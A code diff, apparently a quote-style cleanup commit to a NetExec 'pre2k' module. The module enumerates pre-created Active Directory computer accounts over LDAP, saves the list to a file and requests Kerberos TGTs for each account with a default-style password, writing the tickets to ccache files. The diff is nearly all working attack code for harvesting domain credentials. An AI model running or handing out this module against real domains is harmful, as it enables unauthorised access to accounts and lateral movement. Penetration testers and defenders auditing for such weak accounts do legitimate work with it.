44from impacket .krb5 .ccache import CCache
55from impacket .krb5 .types import Principal
66from impacket .krb5 import constants
7- from binascii import unhexlify
87
98class NXCModule :
109 """
1110 Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each pre-created computer account.
1211 Module by : @shad0wcntr0ller
1312
1413 """
15- name = ' pre2k'
16- description = ' Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each'
17- supported_protocols = [' ldap' ]
14+ name = " pre2k"
15+ description = " Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each"
16+ supported_protocols = [" ldap" ]
1817 opsec_safe = True
1918 multiple_hosts = False
2019
@@ -27,18 +26,18 @@ def on_login(self, context, connection):
2726 context .log .info (f"Connecting to LDAP server at ldap://{ connection .host } " )
2827
2928 if connection .kerberos :
30- ldap_connection = ldap .LDAPConnection (f' ldap://{ connection .host } ' , connection .baseDN , None )
29+ ldap_connection = ldap .LDAPConnection (f" ldap://{ connection .host } " , connection .baseDN , None )
3130 ldap_connection .kerberosLogin (connection .username , connection .password , connection .domain , lmhash = connection .lmhash , nthash = connection .nthash , aesKey = connection .aesKey , kdcHost = connection .kdcHost )
3231 else :
33- ldap_connection = ldap .LDAPConnection (f' ldap://{ connection .host } ' , connection .baseDN , None )
32+ ldap_connection = ldap .LDAPConnection (f" ldap://{ connection .host } " , connection .baseDN , None )
3433 ldap_connection .login (connection .username , connection .password , connection .domain , lmhash = connection .lmhash , nthash = connection .nthash )
3534
3635 # Define the search filter for pre-created computer accounts
37- search_filter = ' (&(objectClass=computer)(userAccountControl=4128))'
38- attributes = [' sAMAccountName' , ' userAccountControl' , ' dNSHostName' ]
36+ search_filter = " (&(objectClass=computer)(userAccountControl=4128))"
37+ attributes = [" sAMAccountName" , " userAccountControl" , " dNSHostName" ]
3938
40- context .log .info (f' Using search filter: { search_filter } ' )
41- context .log .info (f' Attributes to retrieve: { attributes } ' )
39+ context .log .info (f" Using search filter: { search_filter } " )
40+ context .log .info (f" Attributes to retrieve: { attributes } " )
4241
4342 computers = []
4443
@@ -49,17 +48,17 @@ def on_login(self, context, connection):
4948
5049 for item in search_results :
5150 if isinstance (item , ldapasn1 .SearchResultEntry ):
52- context .log .debug (f' Raw item: { item .prettyPrint ()} ' )
51+ context .log .debug (f" Raw item: { item .prettyPrint ()} " )
5352
5453 sam_account_name = None
5554 user_account_control = None
5655
57- for attribute in item [' attributes' ]:
58- context .log .debug (f' Attribute: { attribute .prettyPrint ()} ' )
59- if str (attribute [' type' ]) == ' sAMAccountName' :
60- sam_account_name = str (attribute [' vals' ][0 ])
61- elif str (attribute [' type' ]) == ' userAccountControl' :
62- user_account_control = str (attribute [' vals' ][0 ])
56+ for attribute in item [" attributes" ]:
57+ context .log .debug (f" Attribute: { attribute .prettyPrint ()} " )
58+ if str (attribute [" type" ]) == " sAMAccountName" :
59+ sam_account_name = str (attribute [" vals" ][0 ])
60+ elif str (attribute [" type" ]) == " userAccountControl" :
61+ user_account_control = str (attribute [" vals" ][0 ])
6362
6463 context .log .debug (f"Processing computer: { sam_account_name } , UAC: { user_account_control } " )
6564
@@ -69,30 +68,30 @@ def on_login(self, context, connection):
6968 # Check if the account is a pre-created computer account
7069 if user_account_control == 4128 : # 4096 | 32
7170 computers .append (sam_account_name )
72- context .log .debug (f' Added computer: { sam_account_name } ' )
71+ context .log .debug (f" Added computer: { sam_account_name } " )
7372
7473 # Save computers to file
75- base_dir = ' /root/.nxc/DiscoveredComputers'
74+ base_dir = " /root/.nxc/DiscoveredComputers"
7675 domain_dir = os .path .join (base_dir , connection .domain )
77- output_file = os .path .join (domain_dir , ' precreated_computers.txt' )
76+ output_file = os .path .join (domain_dir , " precreated_computers.txt" )
7877
7978 # Create directories if they do not exist
8079 os .makedirs (domain_dir , exist_ok = True )
8180
82- with open (output_file , 'w' ) as file :
81+ with open (output_file , "w" ) as file :
8382 for computer in computers :
84- file .write (f' { computer } \n ' )
83+ file .write (f" { computer } \n " )
8584
8685 # Print discovered pre-created computer accounts
8786 if computers :
8887 for computer in computers :
89- context .log .highlight (f' Pre-created computer account: { computer } ' )
90- context .log .success (f' Found { len (computers )} pre-created computer accounts. Saved to { output_file } ' )
88+ context .log .highlight (f" Pre-created computer account: { computer } " )
89+ context .log .success (f" Found { len (computers )} pre-created computer accounts. Saved to { output_file } " )
9190 else :
92- context .log .info (f' No pre-created computer accounts found.' )
91+ context .log .info (" No pre-created computer accounts found." )
9392
9493 # Obtain TGTs and save to ccache
95- ccache_base_dir = ' /root/.nxc/ccache'
94+ ccache_base_dir = " /root/.nxc/ccache"
9695 os .makedirs (ccache_base_dir , exist_ok = True )
9796
9897 successful_tgts = 0
@@ -103,16 +102,16 @@ def on_login(self, context, connection):
103102 successful_tgts += 1
104103
105104 # Summary of TGT results
106- context .log .success (f' Successfully obtained TGT for { successful_tgts } pre-created computer accounts. Saved to { ccache_base_dir } ' )
105+ context .log .success (f" Successfully obtained TGT for { successful_tgts } pre-created computer accounts. Saved to { ccache_base_dir } " )
107106
108107 except Exception as e :
109- context .log .fail (f' Error occurred during search: { e } ' )
108+ context .log .fail (f" Error occurred during search: { e } " )
110109
111110 ldap_connection .close ()
112111 return True
113112
114113 except Exception as e :
115- context .log .fail (f' Error occurred during LDAP connection: { e } ' )
114+ context .log .fail (f" Error occurred during LDAP connection: { e } " )
116115 return False
117116
118117 def get_tgt (self , context , username , domain , kdcHost , ccache_base_dir ):
@@ -125,27 +124,27 @@ def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
125124 clientName = userName ,
126125 password = password ,
127126 domain = domain ,
128- lmhash = '' ,
129- nthash = '' ,
130- aesKey = '' ,
127+ lmhash = "" ,
128+ nthash = "" ,
129+ aesKey = "" ,
131130 kdcHost = kdcHost ,
132131 serverName = None
133132 )
134133
135134 self .save_ticket (context , username , tgt , oldSessionKey , ccache_base_dir )
136- context .log .success (f' Successfully obtained TGT for { username } @{ domain } ' )
135+ context .log .success (f" Successfully obtained TGT for { username } @{ domain } " )
137136 return True
138137 except Exception as e :
139- context .log .fail (f' Failed to get TGT for { username } @{ domain } : { e } ' )
138+ context .log .fail (f" Failed to get TGT for { username } @{ domain } : { e } " )
140139 return False
141140
142141 def save_ticket (self , context , username , ticket , sessionKey , ccache_base_dir ):
143142 try :
144143 ccache = CCache ()
145144 ccache .fromTGT (ticket , sessionKey , sessionKey )
146- ccache_filename = os .path .join (ccache_base_dir , f' { username } .ccache' )
145+ ccache_filename = os .path .join (ccache_base_dir , f" { username } .ccache" )
147146 ccache .saveFile (ccache_filename )
148- context .log .info (f' Saved ticket in { ccache_filename } ' )
147+ context .log .info (f" Saved ticket in { ccache_filename } " )
149148 except Exception as e :
150- context .log .fail (f' Failed to save ticket for { username } : { e } ' )
149+ context .log .fail (f" Failed to save ticket for { username } : { e } " )
151150
0 commit comments